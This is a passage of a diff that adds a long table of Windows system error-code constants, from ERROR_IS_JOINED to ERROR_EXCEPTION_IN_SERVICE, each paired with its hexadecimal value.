+ERROR_IS_JOINED                                                          = 0x00000086
+ERROR_IS_SUBSTED                                                         = 0x00000087
+ERROR_NOT_JOINED                                                         = 0x00000088
+ERROR_NOT_SUBSTED                                                        = 0x00000089
+ERROR_JOIN_TO_JOIN                                                       = 0x0000008a
+ERROR_SUBST_TO_SUBST                                                     = 0x0000008b
+ERROR_JOIN_TO_SUBST                                                      = 0x0000008c
+ERROR_SUBST_TO_JOIN                                                      = 0x0000008d
+ERROR_BUSY_DRIVE                                                         = 0x0000008e
+ERROR_SAME_DRIVE                                                         = 0x0000008f
+ERROR_DIR_NOT_ROOT                                                       = 0x00000090
+ERROR_DIR_NOT_EMPTY                                                      = 0x00000091
+ERROR_IS_SUBST_PATH                                                      = 0x00000092
+ERROR_IS_JOIN_PATH                                                       = 0x00000093
+ERROR_PATH_BUSY                                                          = 0x00000094
+ERROR_IS_SUBST_TARGET                                                    = 0x00000095
+ERROR_SYSTEM_TRACE                                                       = 0x00000096
+ERROR_INVALID_EVENT_COUNT                                                = 0x00000097
+ERROR_TOO_MANY_MUXWAITERS                                                = 0x00000098
+ERROR_INVALID_LIST_FORMAT                                                = 0x00000099
+ERROR_LABEL_TOO_LONG                                                     = 0x0000009a
+ERROR_TOO_MANY_TCBS                                                      = 0x0000009b
+ERROR_SIGNAL_REFUSED                                                     = 0x0000009c
+ERROR_DISCARDED                                                          = 0x0000009d
+ERROR_NOT_LOCKED                                                         = 0x0000009e
+ERROR_BAD_THREADID_ADDR                                                  = 0x0000009f
+ERROR_BAD_ARGUMENTS                                                      = 0x000000a0
+ERROR_BAD_PATHNAME                                                       = 0x000000a1
+ERROR_SIGNAL_PENDING                                                     = 0x000000a2
+ERROR_MAX_THRDS_REACHED                                                  = 0x000000a4
+ERROR_LOCK_FAILED                                                        = 0x000000a7
+ERROR_BUSY                                                               = 0x000000aa
+ERROR_DEVICE_SUPPORT_IN_PROGRESS                                         = 0x000000ab
+ERROR_CANCEL_VIOLATION                                                   = 0x000000ad
+ERROR_ATOMIC_LOCKS_NOT_SUPPORTED                                         = 0x000000ae
+ERROR_INVALID_SEGMENT_NUMBER                                             = 0x000000b4
+ERROR_INVALID_ORDINAL                                                    = 0x000000b6
+ERROR_ALREADY_EXISTS                                                     = 0x000000b7
+ERROR_INVALID_FLAG_NUMBER                                                = 0x000000ba
+ERROR_SEM_NOT_FOUND                                                      = 0x000000bb
+ERROR_INVALID_STARTING_CODESEG                                           = 0x000000bc
+ERROR_INVALID_STACKSEG                                                   = 0x000000bd
+ERROR_INVALID_MODULETYPE                                                 = 0x000000be
+ERROR_INVALID_EXE_SIGNATURE                                              = 0x000000bf
+ERROR_EXE_MARKED_INVALID                                                 = 0x000000c0
+ERROR_BAD_EXE_FORMAT                                                     = 0x000000c1
+ERROR_ITERATED_DATA_EXCEEDS_64k                                          = 0x000000c2
+ERROR_INVALID_MINALLOCSIZE                                               = 0x000000c3
+ERROR_DYNLINK_FROM_INVALID_RING                                          = 0x000000c4
+ERROR_IOPL_NOT_ENABLED                                                   = 0x000000c5
+ERROR_INVALID_SEGDPL                                                     = 0x000000c6
+ERROR_AUTODATASEG_EXCEEDS_64k                                            = 0x000000c7
+ERROR_RING2SEG_MUST_BE_MOVABLE                                           = 0x000000c8
+ERROR_RELOC_CHAIN_XEEDS_SEGLIM                                           = 0x000000c9
+ERROR_INFLOOP_IN_RELOC_CHAIN                                             = 0x000000ca
+ERROR_ENVVAR_NOT_FOUND                                                   = 0x000000cb
+ERROR_NO_SIGNAL_SENT                                                     = 0x000000cd
+ERROR_FILENAME_EXCED_RANGE                                               = 0x000000ce
+ERROR_RING2_STACK_IN_USE                                                 = 0x000000cf
+ERROR_META_EXPANSION_TOO_LONG                                            = 0x000000d0
+ERROR_INVALID_SIGNAL_NUMBER                                              = 0x000000d1
+ERROR_THREAD_1_INACTIVE                                                  = 0x000000d2
+ERROR_LOCKED                                                             = 0x000000d4
+ERROR_TOO_MANY_MODULES                                                   = 0x000000d6
+ERROR_NESTING_NOT_ALLOWED                                                = 0x000000d7
+ERROR_EXE_MACHINE_TYPE_MISMATCH                                          = 0x000000d8
+ERROR_EXE_CANNOT_MODIFY_SIGNED_BINARY                                    = 0x000000d9
+ERROR_EXE_CANNOT_MODIFY_STRONG_SIGNED_BINARY                             = 0x000000da
+ERROR_FILE_CHECKED_OUT                                                   = 0x000000dc
+ERROR_CHECKOUT_REQUIRED                                                  = 0x000000dd
+ERROR_BAD_FILE_TYPE                                                      = 0x000000de
+ERROR_FILE_TOO_LARGE                                                     = 0x000000df
+ERROR_FORMS_AUTH_REQUIRED                                                = 0x000000e0
+ERROR_VIRUS_INFECTED                                                     = 0x000000e1
+ERROR_VIRUS_DELETED                                                      = 0x000000e2
+ERROR_PIPE_LOCAL                                                         = 0x000000e5
+ERROR_BAD_PIPE                                                           = 0x000000e6
+ERROR_PIPE_BUSY                                                          = 0x000000e7
+ERROR_NO_DATA                                                            = 0x000000e8
+ERROR_PIPE_NOT_CONNECTED                                                 = 0x000000e9
+ERROR_MORE_DATA                                                          = 0x000000ea
+ERROR_VC_DISCONNECTED                                                    = 0x000000f0
+ERROR_INVALID_EA_NAME                                                    = 0x000000fe
+ERROR_EA_LIST_INCONSISTENT                                               = 0x000000ff
+WAIT_TIMEOUT                                                             = 0x00000102
+ERROR_NO_MORE_ITEMS                                                      = 0x00000103
+ERROR_CANNOT_COPY                                                        = 0x0000010a
+ERROR_DIRECTORY                                                          = 0x0000010b
+ERROR_EAS_DIDNT_FIT                                                      = 0x00000113
+ERROR_EA_FILE_CORRUPT                                                    = 0x00000114
+ERROR_EA_TABLE_FULL                                                      = 0x00000115
+ERROR_INVALID_EA_HANDLE                                                  = 0x00000116
+ERROR_EAS_NOT_SUPPORTED                                                  = 0x0000011a
+ERROR_NOT_OWNER                                                          = 0x00000120
+ERROR_TOO_MANY_POSTS                                                     = 0x0000012a
+ERROR_PARTIAL_COPY                                                       = 0x0000012b
+ERROR_OPLOCK_NOT_GRANTED                                                 = 0x0000012c
+ERROR_INVALID_OPLOCK_PROTOCOL                                            = 0x0000012d
+ERROR_DISK_TOO_FRAGMENTED                                                = 0x0000012e
+ERROR_DELETE_PENDING                                                     = 0x0000012f
+ERROR_INCOMPATIBLE_WITH_GLOBAL_SHORT_NAME_REGISTRY_SETTING               = 0x00000130
+ERROR_SHORT_NAMES_NOT_ENABLED_ON_VOLUME                                  = 0x00000131
+ERROR_SECURITY_STREAM_IS_INCONSISTENT                                    = 0x00000132
+ERROR_INVALID_LOCK_RANGE                                                 = 0x00000133
+ERROR_IMAGE_SUBSYSTEM_NOT_PRESENT                                        = 0x00000134
+ERROR_NOTIFICATION_GUID_ALREADY_DEFINED                                  = 0x00000135
+ERROR_INVALID_EXCEPTION_HANDLER                                          = 0x00000136
+ERROR_DUPLICATE_PRIVILEGES                                               = 0x00000137
+ERROR_NO_RANGES_PROCESSED                                                = 0x00000138
+ERROR_NOT_ALLOWED_ON_SYSTEM_FILE                                         = 0x00000139
+ERROR_DISK_RESOURCES_EXHAUSTED                                           = 0x0000013a
+ERROR_INVALID_TOKEN                                                      = 0x0000013b
+ERROR_DEVICE_FEATURE_NOT_SUPPORTED                                       = 0x0000013c
+ERROR_MR_MID_NOT_FOUND                                                   = 0x0000013d
+ERROR_SCOPE_NOT_FOUND                                                    = 0x0000013e
+ERROR_UNDEFINED_SCOPE                                                    = 0x0000013f
+ERROR_INVALID_CAP                                                        = 0x00000140
+ERROR_DEVICE_UNREACHABLE                                                 = 0x00000141
+ERROR_DEVICE_NO_RESOURCES                                                = 0x00000142
+ERROR_DATA_CHECKSUM_ERROR                                                = 0x00000143
+ERROR_INTERMIXED_KERNEL_EA_OPERATION                                     = 0x00000144
+ERROR_FILE_LEVEL_TRIM_NOT_SUPPORTED                                      = 0x00000146
+ERROR_OFFSET_ALIGNMENT_VIOLATION                                         = 0x00000147
+ERROR_INVALID_FIELD_IN_PARAMETER_LIST                                    = 0x00000148
+ERROR_OPERATION_IN_PROGRESS                                              = 0x00000149
+ERROR_BAD_DEVICE_PATH                                                    = 0x0000014a
+ERROR_TOO_MANY_DESCRIPTORS                                               = 0x0000014b
+ERROR_SCRUB_DATA_DISABLED                                                = 0x0000014c
+ERROR_NOT_REDUNDANT_STORAGE                                              = 0x0000014d
+ERROR_RESIDENT_FILE_NOT_SUPPORTED                                        = 0x0000014e
+ERROR_COMPRESSED_FILE_NOT_SUPPORTED                                      = 0x0000014f
+ERROR_DIRECTORY_NOT_SUPPORTED                                            = 0x00000150
+ERROR_NOT_READ_FROM_COPY                                                 = 0x00000151
+ERROR_FT_WRITE_FAILURE                                                   = 0x00000152
+ERROR_FT_DI_SCAN_REQUIRED                                                = 0x00000153
+ERROR_INVALID_KERNEL_INFO_VERSION                                        = 0x00000154
+ERROR_INVALID_PEP_INFO_VERSION                                           = 0x00000155
+ERROR_FAIL_NOACTION_REBOOT                                               = 0x0000015e
+ERROR_FAIL_SHUTDOWN                                                      = 0x0000015f
+ERROR_FAIL_RESTART                                                       = 0x00000160
+ERROR_MAX_SESSIONS_REACHED                                               = 0x00000161
+ERROR_THREAD_MODE_ALREADY_BACKGROUND                                     = 0x00000190
+ERROR_THREAD_MODE_NOT_BACKGROUND                                         = 0x00000191
+ERROR_PROCESS_MODE_ALREADY_BACKGROUND                                    = 0x00000192
+ERROR_PROCESS_MODE_NOT_BACKGROUND                                        = 0x00000193
+ERROR_INVALID_ADDRESS                                                    = 0x000001e7
+ERROR_USER_PROFILE_LOAD                                                  = 0x000001f4
+ERROR_ARITHMETIC_OVERFLOW                                                = 0x00000216
+ERROR_PIPE_CONNECTED                                                     = 0x00000217
+ERROR_PIPE_LISTENING                                                     = 0x00000218
+ERROR_VERIFIER_STOP                                                      = 0x00000219
+ERROR_ABIOS_ERROR                                                        = 0x0000021a
+ERROR_WX86_WARNING                                                       = 0x0000021b
+ERROR_WX86_ERROR                                                         = 0x0000021c
+ERROR_TIMER_NOT_CANCELED                                                 = 0x0000021d
+ERROR_UNWIND                                                             = 0x0000021e
+ERROR_BAD_STACK                                                          = 0x0000021f
+ERROR_INVALID_UNWIND_TARGET                                              = 0x00000220
+ERROR_INVALID_PORT_ATTRIBUTES                                            = 0x00000221
+ERROR_PORT_MESSAGE_TOO_LONG                                              = 0x00000222
+ERROR_INVALID_QUOTA_LOWER                                                = 0x00000223
+ERROR_DEVICE_ALREADY_ATTACHED                                            = 0x00000224
+ERROR_INSTRUCTION_MISALIGNMENT                                           = 0x00000225
+ERROR_PROFILING_NOT_STARTED                                              = 0x00000226
+ERROR_PROFILING_NOT_STOPPED                                              = 0x00000227
+ERROR_COULD_NOT_INTERPRET                                                = 0x00000228
+ERROR_PROFILING_AT_LIMIT                                                 = 0x00000229
+ERROR_CANT_WAIT                                                          = 0x0000022a
+ERROR_CANT_TERMINATE_SELF                                                = 0x0000022b
+ERROR_UNEXPECTED_MM_CREATE_ERR                                           = 0x0000022c
+ERROR_UNEXPECTED_MM_MAP_ERROR                                            = 0x0000022d
+ERROR_UNEXPECTED_MM_EXTEND_ERR                                           = 0x0000022e
+ERROR_BAD_FUNCTION_TABLE                                                 = 0x0000022f
+ERROR_NO_GUID_TRANSLATION                                                = 0x00000230
+ERROR_INVALID_LDT_SIZE                                                   = 0x00000231
+ERROR_INVALID_LDT_OFFSET                                                 = 0x00000233
+ERROR_INVALID_LDT_DESCRIPTOR                                             = 0x00000234
+ERROR_TOO_MANY_THREADS                                                   = 0x00000235
+ERROR_THREAD_NOT_IN_PROCESS                                              = 0x00000236
+ERROR_PAGEFILE_QUOTA_EXCEEDED                                            = 0x00000237
+ERROR_LOGON_SERVER_CONFLICT                                              = 0x00000238
+ERROR_SYNCHRONIZATION_REQUIRED                                           = 0x00000239
+ERROR_NET_OPEN_FAILED                                                    = 0x0000023a
+ERROR_IO_PRIVILEGE_FAILED                                                = 0x0000023b
+ERROR_CONTROL_C_EXIT                                                     = 0x0000023c
+ERROR_MISSING_SYSTEMFILE                                                 = 0x0000023d
+ERROR_UNHANDLED_EXCEPTION                                                = 0x0000023e
+ERROR_APP_INIT_FAILURE                                                   = 0x0000023f
+ERROR_PAGEFILE_CREATE_FAILED                                             = 0x00000240
+ERROR_INVALID_IMAGE_HASH                                                 = 0x00000241
+ERROR_NO_PAGEFILE                                                        = 0x00000242
+ERROR_ILLEGAL_FLOAT_CONTEXT                                              = 0x00000243
+ERROR_NO_EVENT_PAIR                                                      = 0x00000244
+ERROR_DOMAIN_CTRLR_CONFIG_ERROR                                          = 0x00000245
+ERROR_ILLEGAL_CHARACTER                                                  = 0x00000246
+ERROR_UNDEFINED_CHARACTER                                                = 0x00000247
+ERROR_FLOPPY_VOLUME                                                      = 0x00000248
+ERROR_BIOS_FAILED_TO_CONNECT_INTERRUPT                                   = 0x00000249
+ERROR_BACKUP_CONTROLLER                                                  = 0x0000024a
+ERROR_MUTANT_LIMIT_EXCEEDED                                              = 0x0000024b
+ERROR_FS_DRIVER_REQUIRED                                                 = 0x0000024c
+ERROR_CANNOT_LOAD_REGISTRY_FILE                                          = 0x0000024d
+ERROR_DEBUG_ATTACH_FAILED                                                = 0x0000024e
+ERROR_SYSTEM_PROCESS_TERMINATED                                          = 0x0000024f
+ERROR_DATA_NOT_ACCEPTED                                                  = 0x00000250
+ERROR_VDM_HARD_ERROR                                                     = 0x00000251
+ERROR_DRIVER_CANCEL_TIMEOUT                                              = 0x00000252
+ERROR_REPLY_MESSAGE_MISMATCH                                             = 0x00000253
+ERROR_LOST_WRITEBEHIND_DATA                                              = 0x00000254
+ERROR_CLIENT_SERVER_PARAMETERS_INVALID                                   = 0x00000255
+ERROR_NOT_TINY_STREAM                                                    = 0x00000256
+ERROR_STACK_OVERFLOW_READ                                                = 0x00000257
+ERROR_CONVERT_TO_LARGE                                                   = 0x00000258
+ERROR_FOUND_OUT_OF_SCOPE                                                 = 0x00000259
+ERROR_ALLOCATE_BUCKET                                                    = 0x0000025a
+ERROR_MARSHALL_OVERFLOW                                                  = 0x0000025b
+ERROR_INVALID_VARIANT                                                    = 0x0000025c
+ERROR_BAD_COMPRESSION_BUFFER                                             = 0x0000025d
+ERROR_AUDIT_FAILED                                                       = 0x0000025e
+ERROR_TIMER_RESOLUTION_NOT_SET                                           = 0x0000025f
+ERROR_INSUFFICIENT_LOGON_INFO                                            = 0x00000260
+ERROR_BAD_DLL_ENTRYPOINT                                                 = 0x00000261
+ERROR_BAD_SERVICE_ENTRYPOINT                                             = 0x00000262
+ERROR_IP_ADDRESS_CONFLICT1                                               = 0x00000263
+ERROR_IP_ADDRESS_CONFLICT2                                               = 0x00000264
+ERROR_REGISTRY_QUOTA_LIMIT                                               = 0x00000265
+ERROR_NO_CALLBACK_ACTIVE                                                 = 0x00000266
+ERROR_PWD_TOO_SHORT                                                      = 0x00000267
+ERROR_PWD_TOO_RECENT                                                     = 0x00000268
+ERROR_PWD_HISTORY_CONFLICT                                               = 0x00000269
+ERROR_UNSUPPORTED_COMPRESSION                                            = 0x0000026a
+ERROR_INVALID_HW_PROFILE                                                 = 0x0000026b
+ERROR_INVALID_PLUGPLAY_DEVICE_PATH                                       = 0x0000026c
+ERROR_QUOTA_LIST_INCONSISTENT                                            = 0x0000026d
+ERROR_EVALUATION_EXPIRATION                                              = 0x0000026e
+ERROR_ILLEGAL_DLL_RELOCATION                                             = 0x0000026f
+ERROR_DLL_INIT_FAILED_LOGOFF                                             = 0x00000270
+ERROR_VALIDATE_CONTINUE                                                  = 0x00000271
+ERROR_NO_MORE_MATCHES                                                    = 0x00000272
+ERROR_RANGE_LIST_CONFLICT                                                = 0x00000273
+ERROR_SERVER_SID_MISMATCH                                                = 0x00000274
+ERROR_CANT_ENABLE_DENY_ONLY                                              = 0x00000275
+ERROR_FLOAT_MULTIPLE_FAULTS                                              = 0x00000276
+ERROR_FLOAT_MULTIPLE_TRAPS                                               = 0x00000277
+ERROR_NOINTERFACE                                                        = 0x00000278
+ERROR_DRIVER_FAILED_SLEEP                                                = 0x00000279
+ERROR_CORRUPT_SYSTEM_FILE                                                = 0x0000027a
+ERROR_COMMITMENT_MINIMUM                                                 = 0x0000027b
+ERROR_PNP_RESTART_ENUMERATION                                            = 0x0000027c
+ERROR_SYSTEM_IMAGE_BAD_SIGNATURE                                         = 0x0000027d
+ERROR_PNP_REBOOT_REQUIRED                                                = 0x0000027e
+ERROR_INSUFFICIENT_POWER                                                 = 0x0000027f
+ERROR_MULTIPLE_FAULT_VIOLATION                                           = 0x00000280
+ERROR_SYSTEM_SHUTDOWN                                                    = 0x00000281
+ERROR_PORT_NOT_SET                                                       = 0x00000282
+ERROR_DS_VERSION_CHECK_FAILURE                                           = 0x00000283
+ERROR_RANGE_NOT_FOUND                                                    = 0x00000284
+ERROR_NOT_SAFE_MODE_DRIVER                                               = 0x00000286
+ERROR_FAILED_DRIVER_ENTRY                                                = 0x00000287
+ERROR_DEVICE_ENUMERATION_ERROR                                           = 0x00000288
+ERROR_MOUNT_POINT_NOT_RESOLVED                                           = 0x00000289
+ERROR_INVALID_DEVICE_OBJECT_PARAMETER                                    = 0x0000028a
+ERROR_MCA_OCCURED                                                        = 0x0000028b
+ERROR_DRIVER_DATABASE_ERROR                                              = 0x0000028c
+ERROR_SYSTEM_HIVE_TOO_LARGE                                              = 0x0000028d
+ERROR_DRIVER_FAILED_PRIOR_UNLOAD                                         = 0x0000028e
+ERROR_VOLSNAP_PREPARE_HIBERNATE                                          = 0x0000028f
+ERROR_HIBERNATION_FAILURE                                                = 0x00000290
+ERROR_PWD_TOO_LONG                                                       = 0x00000291
+ERROR_FILE_SYSTEM_LIMITATION                                             = 0x00000299
+ERROR_ASSERTION_FAILURE                                                  = 0x0000029c
+ERROR_ACPI_ERROR                                                         = 0x0000029d
+ERROR_WOW_ASSERTION                                                      = 0x0000029e
+ERROR_PNP_BAD_MPS_TABLE                                                  = 0x0000029f
+ERROR_PNP_TRANSLATION_FAILED                                             = 0x000002a0
+ERROR_PNP_IRQ_TRANSLATION_FAILED                                         = 0x000002a1
+ERROR_PNP_INVALID_ID                                                     = 0x000002a2
+ERROR_WAKE_SYSTEM_DEBUGGER                                               = 0x000002a3
+ERROR_HANDLES_CLOSED                                                     = 0x000002a4
+ERROR_EXTRANEOUS_INFORMATION                                             = 0x000002a5
+ERROR_RXACT_COMMIT_NECESSARY                                             = 0x000002a6
+ERROR_MEDIA_CHECK                                                        = 0x000002a7
+ERROR_GUID_SUBSTITUTION_MADE                                             = 0x000002a8
+ERROR_STOPPED_ON_SYMLINK                                                 = 0x000002a9
+ERROR_LONGJUMP                                                           = 0x000002aa
+ERROR_PLUGPLAY_QUERY_VETOED                                              = 0x000002ab
+ERROR_UNWIND_CONSOLIDATE                                                 = 0x000002ac
+ERROR_REGISTRY_HIVE_RECOVERED                                            = 0x000002ad
+ERROR_DLL_MIGHT_BE_INSECURE                                              = 0x000002ae
+ERROR_DLL_MIGHT_BE_INCOMPATIBLE                                          = 0x000002af
+ERROR_DBG_EXCEPTION_NOT_HANDLED                                          = 0x000002b0
+ERROR_DBG_REPLY_LATER                                                    = 0x000002b1
+ERROR_DBG_UNABLE_TO_PROVIDE_HANDLE                                       = 0x000002b2
+ERROR_DBG_TERMINATE_THREAD                                               = 0x000002b3
+ERROR_DBG_TERMINATE_PROCESS                                              = 0x000002b4
+ERROR_DBG_CONTROL_C                                                      = 0x000002b5
+ERROR_DBG_PRINTEXCEPTION_C                                               = 0x000002b6
+ERROR_DBG_RIPEXCEPTION                                                   = 0x000002b7
+ERROR_DBG_CONTROL_BREAK                                                  = 0x000002b8
+ERROR_DBG_COMMAND_EXCEPTION                                              = 0x000002b9
+ERROR_OBJECT_NAME_EXISTS                                                 = 0x000002ba
+ERROR_THREAD_WAS_SUSPENDED                                               = 0x000002bb
+ERROR_IMAGE_NOT_AT_BASE                                                  = 0x000002bc
+ERROR_RXACT_STATE_CREATED                                                = 0x000002bd
+ERROR_SEGMENT_NOTIFICATION                                               = 0x000002be
+ERROR_BAD_CURRENT_DIRECTORY                                              = 0x000002bf
+ERROR_FT_READ_RECOVERY_FROM_BACKUP                                       = 0x000002c0
+ERROR_FT_WRITE_RECOVERY                                                  = 0x000002c1
+ERROR_IMAGE_MACHINE_TYPE_MISMATCH                                        = 0x000002c2
+ERROR_RECEIVE_PARTIAL                                                    = 0x000002c3
+ERROR_RECEIVE_EXPEDITED                                                  = 0x000002c4
+ERROR_RECEIVE_PARTIAL_EXPEDITED                                          = 0x000002c5
+ERROR_EVENT_DONE                                                         = 0x000002c6
+ERROR_EVENT_PENDING                                                      = 0x000002c7
+ERROR_CHECKING_FILE_SYSTEM                                               = 0x000002c8
+ERROR_FATAL_APP_EXIT                                                     = 0x000002c9
+ERROR_PREDEFINED_HANDLE                                                  = 0x000002ca
+ERROR_WAS_UNLOCKED                                                       = 0x000002cb
+ERROR_SERVICE_NOTIFICATION                                               = 0x000002cc
+ERROR_WAS_LOCKED                                                         = 0x000002cd
+ERROR_LOG_HARD_ERROR                                                     = 0x000002ce
+ERROR_ALREADY_WIN32                                                      = 0x000002cf
+ERROR_IMAGE_MACHINE_TYPE_MISMATCH_EXE                                    = 0x000002d0
+ERROR_NO_YIELD_PERFORMED                                                 = 0x000002d1
+ERROR_TIMER_RESUME_IGNORED                                               = 0x000002d2
+ERROR_ARBITRATION_UNHANDLED                                              = 0x000002d3
+ERROR_CARDBUS_NOT_SUPPORTED                                              = 0x000002d4
+ERROR_MP_PROCESSOR_MISMATCH                                              = 0x000002d5
+ERROR_HIBERNATED                                                         = 0x000002d6
+ERROR_RESUME_HIBERNATION                                                 = 0x000002d7
+ERROR_FIRMWARE_UPDATED                                                   = 0x000002d8
+ERROR_DRIVERS_LEAKING_LOCKED_PAGES                                       = 0x000002d9
+ERROR_WAKE_SYSTEM                                                        = 0x000002da
+ERROR_WAIT_1                                                             = 0x000002db
+ERROR_WAIT_2                                                             = 0x000002dc
+ERROR_WAIT_3                                                             = 0x000002dd
+ERROR_WAIT_63                                                            = 0x000002de
+ERROR_ABANDONED_WAIT_0                                                   = 0x000002df
+ERROR_ABANDONED_WAIT_63                                                  = 0x000002e0
+ERROR_USER_APC                                                           = 0x000002e1
+ERROR_KERNEL_APC                                                         = 0x000002e2
+ERROR_ALERTED                                                            = 0x000002e3
+ERROR_ELEVATION_REQUIRED                                                 = 0x000002e4
+ERROR_REPARSE                                                            = 0x000002e5
+ERROR_OPLOCK_BREAK_IN_PROGRESS                                           = 0x000002e6
+ERROR_VOLUME_MOUNTED                                                     = 0x000002e7
+ERROR_RXACT_COMMITTED                                                    = 0x000002e8
+ERROR_NOTIFY_CLEANUP                                                     = 0x000002e9
+ERROR_PRIMARY_TRANSPORT_CONNECT_FAILED                                   = 0x000002ea
+ERROR_PAGE_FAULT_TRANSITION                                              = 0x000002eb
+ERROR_PAGE_FAULT_DEMAND_ZERO                                             = 0x000002ec
+ERROR_PAGE_FAULT_COPY_ON_WRITE                                           = 0x000002ed
+ERROR_PAGE_FAULT_GUARD_PAGE                                              = 0x000002ee
+ERROR_PAGE_FAULT_PAGING_FILE                                             = 0x000002ef
+ERROR_CACHE_PAGE_LOCKED                                                  = 0x000002f0
+ERROR_CRASH_DUMP                                                         = 0x000002f1
+ERROR_BUFFER_ALL_ZEROS                                                   = 0x000002f2
+ERROR_REPARSE_OBJECT                                                     = 0x000002f3
+ERROR_RESOURCE_REQUIREMENTS_CHANGED                                      = 0x000002f4
+ERROR_TRANSLATION_COMPLETE                                               = 0x000002f5
+ERROR_NOTHING_TO_TERMINATE                                               = 0x000002f6
+ERROR_PROCESS_NOT_IN_JOB                                                 = 0x000002f7
+ERROR_PROCESS_IN_JOB                                                     = 0x000002f8
+ERROR_VOLSNAP_HIBERNATE_READY                                            = 0x000002f9
+ERROR_FSFILTER_OP_COMPLETED_SUCCESSFULLY                                 = 0x000002fa
+ERROR_INTERRUPT_VECTOR_ALREADY_CONNECTED                                 = 0x000002fb
+ERROR_INTERRUPT_STILL_CONNECTED                                          = 0x000002fc
+ERROR_WAIT_FOR_OPLOCK                                                    = 0x000002fd
+ERROR_DBG_EXCEPTION_HANDLED                                              = 0x000002fe
+ERROR_DBG_CONTINUE                                                       = 0x000002ff
+ERROR_CALLBACK_POP_STACK                                                 = 0x00000300
+ERROR_COMPRESSION_DISABLED                                               = 0x00000301
+ERROR_CANTFETCHBACKWARDS                                                 = 0x00000302
+ERROR_CANTSCROLLBACKWARDS                                                = 0x00000303
+ERROR_ROWSNOTRELEASED                                                    = 0x00000304
+ERROR_BAD_ACCESSOR_FLAGS                                                 = 0x00000305
+ERROR_ERRORS_ENCOUNTERED                                                 = 0x00000306
+ERROR_NOT_CAPABLE                                                        = 0x00000307
+ERROR_REQUEST_OUT_OF_SEQUENCE                                            = 0x00000308
+ERROR_VERSION_PARSE_ERROR                                                = 0x00000309
+ERROR_BADSTARTPOSITION                                                   = 0x0000030a
+ERROR_MEMORY_HARDWARE                                                    = 0x0000030b
+ERROR_DISK_REPAIR_DISABLED                                               = 0x0000030c
+ERROR_INSUFFICIENT_RESOURCE_FOR_SPECIFIED_SHARED_SECTION_SIZE            = 0x0000030d
+ERROR_SYSTEM_POWERSTATE_TRANSITION                                       = 0x0000030e
+ERROR_SYSTEM_POWERSTATE_COMPLEX_TRANSITION                               = 0x0000030f
+ERROR_MCA_EXCEPTION                                                      = 0x00000310
+ERROR_ACCESS_AUDIT_BY_POLICY                                             = 0x00000311
+ERROR_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY                              = 0x00000312
+ERROR_ABANDON_HIBERFILE                                                  = 0x00000313
+ERROR_LOST_WRITEBEHIND_DATA_NETWORK_DISCONNECTED                         = 0x00000314
+ERROR_LOST_WRITEBEHIND_DATA_NETWORK_SERVER_ERROR                         = 0x00000315
+ERROR_LOST_WRITEBEHIND_DATA_LOCAL_DISK_ERROR                             = 0x00000316
+ERROR_BAD_MCFG_TABLE                                                     = 0x00000317
+ERROR_DISK_REPAIR_REDIRECTED                                             = 0x00000318
+ERROR_DISK_REPAIR_UNSUCCESSFUL                                           = 0x00000319
+ERROR_CORRUPT_LOG_OVERFULL                                               = 0x0000031a
+ERROR_CORRUPT_LOG_CORRUPTED                                              = 0x0000031b
+ERROR_CORRUPT_LOG_UNAVAILABLE                                            = 0x0000031c
+ERROR_CORRUPT_LOG_DELETED_FULL                                           = 0x0000031d
+ERROR_CORRUPT_LOG_CLEARED                                                = 0x0000031e
+ERROR_ORPHAN_NAME_EXHAUSTED                                              = 0x0000031f
+ERROR_OPLOCK_SWITCHED_TO_NEW_HANDLE                                      = 0x00000320
+ERROR_CANNOT_GRANT_REQUESTED_OPLOCK                                      = 0x00000321
+ERROR_CANNOT_BREAK_OPLOCK                                                = 0x00000322
+ERROR_OPLOCK_HANDLE_CLOSED                                               = 0x00000323
+ERROR_NO_ACE_CONDITION                                                   = 0x00000324
+ERROR_INVALID_ACE_CONDITION                                              = 0x00000325
+ERROR_FILE_HANDLE_REVOKED                                                = 0x00000326
+ERROR_IMAGE_AT_DIFFERENT_BASE                                            = 0x00000327
+ERROR_EA_ACCESS_DENIED                                                   = 0x000003e2
+ERROR_OPERATION_ABORTED                                                  = 0x000003e3
+ERROR_IO_INCOMPLETE                                                      = 0x000003e4
+ERROR_IO_PENDING                                                         = 0x000003e5
+ERROR_NOACCESS                                                           = 0x000003e6
+ERROR_SWAPERROR                                                          = 0x000003e7
+ERROR_STACK_OVERFLOW                                                     = 0x000003e9
+ERROR_INVALID_MESSAGE                                                    = 0x000003ea
+ERROR_CAN_NOT_COMPLETE                                                   = 0x000003eb
+ERROR_INVALID_FLAGS                                                      = 0x000003ec
+ERROR_UNRECOGNIZED_VOLUME                                                = 0x000003ed
+ERROR_FILE_INVALID                                                       = 0x000003ee
+ERROR_FULLSCREEN_MODE                                                    = 0x000003ef
+ERROR_NO_TOKEN                                                           = 0x000003f0
+ERROR_BADDB                                                              = 0x000003f1
+ERROR_BADKEY                                                             = 0x000003f2
+ERROR_CANTOPEN                                                           = 0x000003f3
+ERROR_CANTREAD                                                           = 0x000003f4
+ERROR_CANTWRITE                                                          = 0x000003f5
+ERROR_REGISTRY_RECOVERED                                                 = 0x000003f6
+ERROR_REGISTRY_CORRUPT                                                   = 0x000003f7
+ERROR_REGISTRY_IO_FAILED                                                 = 0x000003f8
+ERROR_NOT_REGISTRY_FILE                                                  = 0x000003f9
+ERROR_KEY_DELETED                                                        = 0x000003fa
+ERROR_NO_LOG_SPACE                                                       = 0x000003fb
+ERROR_KEY_HAS_CHILDREN                                                   = 0x000003fc
+ERROR_CHILD_MUST_BE_VOLATILE                                             = 0x000003fd
+ERROR_NOTIFY_ENUM_DIR                                                    = 0x000003fe
+ERROR_DEPENDENT_SERVICES_RUNNING                                         = 0x0000041b
+ERROR_INVALID_SERVICE_CONTROL                                            = 0x0000041c
+ERROR_SERVICE_REQUEST_TIMEOUT                                            = 0x0000041d
+ERROR_SERVICE_NO_THREAD                                                  = 0x0000041e
+ERROR_SERVICE_DATABASE_LOCKED                                            = 0x0000041f
+ERROR_SERVICE_ALREADY_RUNNING                                            = 0x00000420
+ERROR_INVALID_SERVICE_ACCOUNT                                            = 0x00000421
+ERROR_SERVICE_DISABLED                                                   = 0x00000422
+ERROR_CIRCULAR_DEPENDENCY                                                = 0x00000423
+ERROR_SERVICE_DOES_NOT_EXIST                                             = 0x00000424
+ERROR_SERVICE_CANNOT_ACCEPT_CTRL                                         = 0x00000425
+ERROR_SERVICE_NOT_ACTIVE                                                 = 0x00000426
+ERROR_FAILED_SERVICE_CONTROLLER_CONNECT                                  = 0x00000427
+ERROR_EXCEPTION_IN_SERVICE                                               = 0x00000428
